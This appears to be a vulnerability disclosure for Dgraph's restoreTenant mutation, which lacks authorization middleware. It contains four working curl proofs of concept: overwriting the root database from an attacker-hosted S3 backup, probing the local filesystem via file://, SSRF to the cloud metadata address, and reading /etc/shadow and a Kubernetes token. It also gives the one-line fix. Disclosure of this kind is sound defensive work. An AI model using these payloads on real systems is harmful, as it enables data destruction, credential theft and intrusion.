Dgraph: Pre-Auth Database Overwrite + SSRF + File Read via restoreTenant Missing Authorization

The restoreTenant admin mutation is missing from the authorization middleware config (admin.go:499-522), making it completely unauthenticated. Unlike the similar restore mutation which requires Guardian-of-Galaxy authentication, restoreTenant executes with zero middleware.

This mutation accepts attacker-controlled backup source URLs (including file:// for local filesystem access), S3/MinIO credentials, encryption key file paths, and Vault credential file paths. An unauthenticated attacker can overwrite the entire database, read server-side files, and perform SSRF.

Authentication Bypass

Every admin mutation has middleware configured in adminMutationMWConfig (admin.go:499-522) EXCEPT restoreTenant. The restore mutation has gogMutMWs (Guardian of Galaxy auth + IP whitelist + logging). restoreTenant is absent from the map.

When middleware is looked up at resolve/resolver.go:431, the map returns nil. The Then() method at resolve/middlewares.go:98 checks len(mws) == 0 and returns the resolver directly, skipping all authentication, authorization, IP whitelisting, and audit logging.

PoC 1: Pre-Auth Database Overwrite

The attacker hosts a crafted Dgraph backup on their own S3 bucket, then triggers a restore that overwrites the target namespace's entire database:

# No authentication headers needed. No X-Dgraph-AuthToken, no JWT, no Guardian credentials.
curl -X POST http://dgraph-alpha:8080/admin \
  -H "Content-Type: application/json" \
  -d '{
    "query": "mutation { restoreTenant(input: { restoreInput: { location: \"s3://attacker-bucket/evil-backup\", accessKey: \"AKIAIOSFODNN7EXAMPLE\", secretKey: \"wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY\", anonymous: false }, fromNamespace: 0 }) { code message } }"
  }'

# Response: {"data":{"restoreTenant":{"code":"Success","message":"Restore operation started."}}}
# The server fetches the attacker's backup from S3 and overwrites namespace 0 (root namespace).

The resolver at admin/restore.go:54-74 passes location, accessKey, secretKey directly to worker.ProcessRestoreRequest. The worker at online_restore.go:98-106 connects to the attacker's S3 bucket and restores the malicious backup, overwriting all data.

Note: the anonymous: true flag (minioclient.go:108-113) creates an S3 client with NO credentials, allowing the attacker to host the malicious backup on a public S3 bucket without providing any AWS keys:

mutation { restoreTenant(input: {
  restoreInput: { location: "s3://public-attacker-bucket/evil-backup", anonymous: true },
  fromNamespace: 0
}) { code message } }

Live PoC Results (Dgraph v24.x Docker)

Tested against dgraph/dgraph:latest in Docker. Side-by-side comparison:

# restore (HAS middleware) -> BLOCKED
$ curl ... '{"query": "mutation { restore(...) { code } }"}'
{"errors":[{"message":"resolving restore failed because unauthorized ip address: 172.25.0.1"}]}

# restoreTenant (MISSING middleware) -> AUTH BYPASSED
$ curl ... '{"query": "mutation { restoreTenant(...) { code } }"}'
{"errors":[{"message":"resolving restoreTenant failed because failed to verify backup: No backups with the specified backup ID"}]}

The restore mutation is blocked by the IP whitelist middleware. The restoreTenant mutation bypasses all middleware and reaches the backup verification logic.

Filesystem enumeration also confirmed with distinct error messages:

• /etc/ (exists): "No backups with the specified backup ID" (directory scanned)
• /nonexistent/ (doesn't exist): "The uri path doesn't exists" (path doesn't exist)
• /tmp/ (exists, empty): "No backups with the specified backup ID" (directory scanned)

PoC 2: Local Filesystem Probe via file:// Scheme

curl -X POST http://dgraph-alpha:8080/admin \
  -H "Content-Type: application/json" \
  -d '{
    "query": "mutation { restoreTenant(input: { restoreInput: { location: \"file:///etc/\" }, fromNamespace: 0 }) { code message } }"
  }'

# Error response reveals whether /etc/ exists and its structure.
# backup_handler.go:130-132 creates a fileHandler for file:// URIs.
# fileHandler.ListPaths at line 161-166 walks the local filesystem.
# fileHandler.Read at line 153 reads files: os.ReadFile(h.JoinPath(path))

PoC 3: SSRF via S3 Endpoint

curl -X POST http://dgraph-alpha:8080/admin \
  -H "Content-Type: application/json" \
  -d '{
    "query": "mutation { restoreTenant(input: { restoreInput: { location: \"s3://169.254.169.254/latest/meta-data/\" }, fromNamespace: 0 }) { code message } }"
  }'

# The Minio client at backup_handler.go:257 connects to 169.254.169.254 as an S3 endpoint.
# Error response may leak cloud metadata information.

PoC 4: Vault SSRF + Server File Path Read

curl -X POST http://dgraph-alpha:8080/admin \
  -H "Content-Type: application/json" \
  -d '{
    "query": "mutation { restoreTenant(input: { restoreInput: { location: \"s3://attacker-bucket/backup\", accessKey: \"AKIA...\", secretKey: \"...\", vaultAddr: \"http://internal-service:8080\", vaultRoleIDFile: \"/var/run/secrets/kubernetes.io/serviceaccount/token\", vaultSecretIDFile: \"/etc/passwd\", encryptionKeyFile: \"/etc/shadow\" }, fromNamespace: 0 }) { code message } }"
  }'

# vaultAddr at online_restore.go:484 triggers SSRF to internal-service:8080
# vaultRoleIDFile at online_restore.go:478-479 reads the K8s SA token from disk
# encryptionKeyFile at online_restore.go:475 reads /etc/shadow via BuildEncFlag

Fix

Add restoreTenant to adminMutationMWConfig:

"restoreTenant": gogMutMWs,

Koda Reef